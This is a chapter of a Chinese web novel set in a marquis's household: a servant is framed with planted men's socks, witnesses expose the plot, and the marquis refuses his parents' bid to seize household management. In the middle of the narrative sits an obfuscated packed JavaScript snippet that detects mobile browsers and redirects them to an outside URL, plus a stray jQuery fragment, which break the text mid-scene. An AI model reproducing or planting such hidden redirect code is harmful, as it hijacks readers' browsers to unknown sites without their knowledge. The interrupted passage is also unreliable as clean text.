周嬷嬷脊背挺直,神色坦荡无畏,跪在了施芙蕖身侧。
她抬首望向堂上众人,“侯爷,早前外院管事刘顺,曾托老奴说合,意欲求娶施妈妈。”
老太太听到这话,像是抓到了实锤,身子往前一倾,嗓门陡然拔高,唾沫星子喷了满地,一脸嫌恶地骂着,“我就知道!”
她抬手指着依旧在地上跪着的施芙蕖,“她就是个不安分的狐媚蹄子!”
“在侯府当差,还勾三搭四,招惹外院管事。”
“人前装得安分老实,背地里尽干些见不得人的勾当!少在这儿装可怜!你骗得了旁人骗不了我!”
三夫人眉心紧蹙,出声拦下,“母亲,周嬷嬷是我的陪房,品性最是端正,不如先听她把话说完,再定对错也不迟。”
周嬷嬷被没有被老太太的怒骂声给吓到,声音依旧沉稳,“侯爷明鉴,刘顺托老奴说媒一事不假,可老奴当场便已回绝他。”
“过后老奴只当是一桩笑话闲话,随口跟施妈妈提了一嘴。”
“施妈妈听了,当场就说得明白,她就想安安稳稳留在府里照看宝珠小姐,半点不想嫁人。”
萧狰坐在主位旁侧的楠木交椅上,眸色晦暗不明。
方才刘顺求娶施芙蕖之时,他心底翻涌着的怒火,在看到母亲带人搜院时,就消散了不少。
此刻听完周嬷嬷这番话,那股邪火便烟消云散,只剩下懊恼与愧疚。
周嬷嬷直来直去的说着,“侯爷,施妈妈入侯府后,除了去国子监那一回,半步都没踏出过内院。那刘管事在外院当差,他是从哪打听到施妈妈的?”
“刘管事求亲那档子事老奴原先也没往深处想,可今日老夫人领着人去搜东跨院,张口就说施妈妈跟外男有染,这就由不得老奴不起疑了。”
周嬷嬷当众戳破要害,“侯爷,此事从头到尾处处透着古怪!”
小梅深吸一口气,顶着心头惧意,同手同脚走到施芙蕖身后,跪了下来。
她声音虽抖却清亮,“各位主子明鉴!青黛姐姐今早私下寻我,逼着我把一双男子水袜偷偷放进施妈妈的箱笼。”
“我、我不敢硬拒,又怕惹出事端,回、回屋后,第一时间就把那男子水袜给烧了。”
这话如同惊雷炸在正厅!
青黛脸色瞬间惨白,浑身猛地一颤,疯了一般磕头喊冤,“侯爷!她们污蔑我!是她们串通一气陷害我!”
老夫人见状,立马拍案怒斥,“够了!”
“青黛伺候我这么多年,她是什么样的人,我会不清楚?”
“你们两个要是再敢胡乱撕咬,看我不打烂你们的嘴!”
她扭头,不满瞪着三夫人,刻薄又蛮横,“这就是你的好陪房!”
“我看一个个都是挑事的搅家精,存心要搅得我们侯府不得安宁!”
三夫人脸色顿时煞白,正欲开口辩驳,上座的老太爷已然不满开口,“够了!”
他目光不满扫过大夫人、三夫人,语气听着挺公允可靠,可说出来的话,却让人心寒。
“老二,你大嫂要照看你三个侄子、侄女,精力早已不济。”
“你弟媳身子羸弱,常年吃着药调养,更是扛不住中馈重担。”
“我看啊,这侯府家事繁琐,担子太重,还是得交到你娘手上,让我们两个德高望重的长辈坐镇打理,方能安稳。”
说完,他看向下手坐着的大爷萧渊、三爷萧泓,“老大、老三,你们怎么看?”
大爷、三爷不敢违逆父言,又深知自家媳妇不易、爹娘糊涂,默契地垂首不言。
老夫人闻言,瞬间气焰高涨,昂首挺胸,嗓门抬得极高,“本来就是这个理!”
“我人好好在家里坐着呢,怎家里的事由儿媳妇们做主?传出去,旁人岂不是笑话我们侯府无人,没有规矩!”
满堂一瞬寂静。
施芙蕖跪在地上,垂着眼帘,泪痕浅浅挂在脸颊上,心底却一片清明。
她这下算是彻底瞧明白了。
这侯府真正的搅家精,哪里是什么丫鬟、管事,而是堂上这两位拎不清、私心极重的老菩萨。
萧狰目光扫过垂首装哑的大哥萧渊、三弟萧泓,眼底掠过一层浓浓的无奈。
他这两位饱读诗书的兄弟,遇事只会闭口躲避,半点都不肯出头。
他视线在落回依旧跪在地上的施芙蕖,脸上火辣辣的发烫。
外头人只道他是陛下宠臣、朝堂新贵、风光无限,官途无可限量。
可又有谁懂他的无奈,家宅不宁,时时闹出这等剪不断、理还乱的荒唐闹剧。
就在这时,萧凌一脸愤愤,站起身,直直看向老太爷、老夫人,“爹、娘,你们怎么又犯糊涂了!”
所有人的视线齐刷刷看向他。
萧凌面色一赧,但也管不了那么多了,梗着脖子继续直言,“咱们一家子现在有这般富贵日子,全是二哥哥在战场上拿命拼回来的,你们还有什么不知足的?”
“这些日子,府里大大小小的事情,全靠大嫂嫂、三嫂嫂费心操持。若是把中馈交到娘手上,往后侯府才真要被外头人笑话!”
“爹,你还想管侯府的事情?你把自己的事情先管好!”
“难不成你们想侯府门口,日日搭台唱戏,让全都城的人都来看咱们家笑话?”
老夫人当即气得浑身发抖,又拍桌案,“你个不懂事的小崽子!长辈说话,哪里轮得到你来插嘴?!”
老太爷气得直接抄起手中茶盏扔向萧凌,“臭小子!欠揍!”
萧凌不服气,梗着脖子还想再争辩两句,萧狰抬手,示意他莫要再说。
萧狰缓缓站起身,再度对大夫人、三夫人作揖行礼,态度十分明确,“在我成婚前,府中中馈还要劳烦嫂嫂、弟媳费心打理。”
只此一句,彻底断绝了老夫人、老太爷夺权的所有念想。
他随即转头,看向他那面色铁青的爹爹、气急败坏的娘,眸色淡漠而又疏离,“爹娘若是在侯府住得憋屈、不惯约束,京郊陛下赏赐的庄子清净宽敞,可前去长住。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864393|212146||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“若是二老更念故土,我亦可派人备车,送您二老回祖宅颐养天年。”
“你!你个逆子!”老太爷气得脸色青白交加。
老太太更是一口气堵在胸口,怔怔看着自家二儿子,实在是不明白,前几日他不还说要分家养她,为她撑腰,怎今日就忽然变了!
萧狰目光落回堂下,声色冷肃,“今日搜院栽赃一事,我自会查个水落石出,绝不姑息。”
随即他视线落向一直静默跪地的施芙蕖身上,语调稍缓,“大嫂、弟媳平日事务冗杂,精力有限,你日后若得空闲,可多多协助她们打理内院杂务。”
此言一出,厅内众人心头皆是一动,神色各异。不等他们细想,萧狰再度冷声开口。
“近来侯府下人确实松散,往后府中诸事,嫂嫂、弟媳无需顾忌任何人情脸面,该敲打的敲打,该处置的处置。”
跪在地上的施芙蕖闻言,纤长的睫毛轻轻一颤,压下眸底翻涌的疑惑与不解,微微俯身叩首,“奴婢谨遵侯爷吩咐。”
“往后定当尽心竭力,协助两位夫人打理内院,不负侯爷信任。”
堂上风波落定,众人各自散去。
青黛被暂时押下看管,老太爷与老太太怒气冲冲归了院落,再无力插手府中诸事。
东跨院大门前,夏风习习,檐下枝叶繁茂,投下满地碎光。
施芙蕖并未即刻回屋,而是静静立在石阶下,等候萧狰归来。
不多时,一道挺拔身影踏过回廊,大步而来。
萧狰一抬头,就望见门前静立的婀娜身影,眼底残存的冷厉瞬间尽数消融,心底莫名掠过一丝极淡的暖意。
他快步走近,站定在她身前,嗓音褪去正厅内的冷肃,染上了几分低沉温和。
“在等我?”
施芙蕖微微点头,抬眸望向他,白日碎光落进她澄澈眸底,还浅浅残留着一点方才受委屈时的湿润。
“侯爷,我有一事相求。”
清风卷着细碎的花叶香,轻轻拂动着施芙蕖鬓边的碎发。
萧狰垂眸望着她,只觉喉间微微发紧,“你说。”
施芙蕖定定看着他,不躲不避,“我有一事不解,想当面向刘管事问清楚。”
萧狰眉心微蹙,眸色晦暗不明,“何事?”
“我早前抱着宝珠在后花园溜达,被他私下拦住,我已然当面严词回绝,半分余地未留。”
“我不解,他为何还要去求侯爷允婚,将我陷于这般难堪境地。”
她微微抿唇,语气带着一丝隐忍的执拗,“我想当面向他问清楚,还请侯爷成全。”
萧狰眉心皱得更深,刘顺这厮竟敢私闯内院,私下纠缠施芙蕖!
他视线落进她澄澈倔强的眼眸,心底暗叹,倒是比他想象中的勇敢、倔强些。
他缓缓颔首,“好。”
“不过,我陪你去。”
“那是自然!”施芙蕖眸色微亮,唇角不自觉向上微扬,轻声回道,“我可不想再整出什么幺蛾子来。”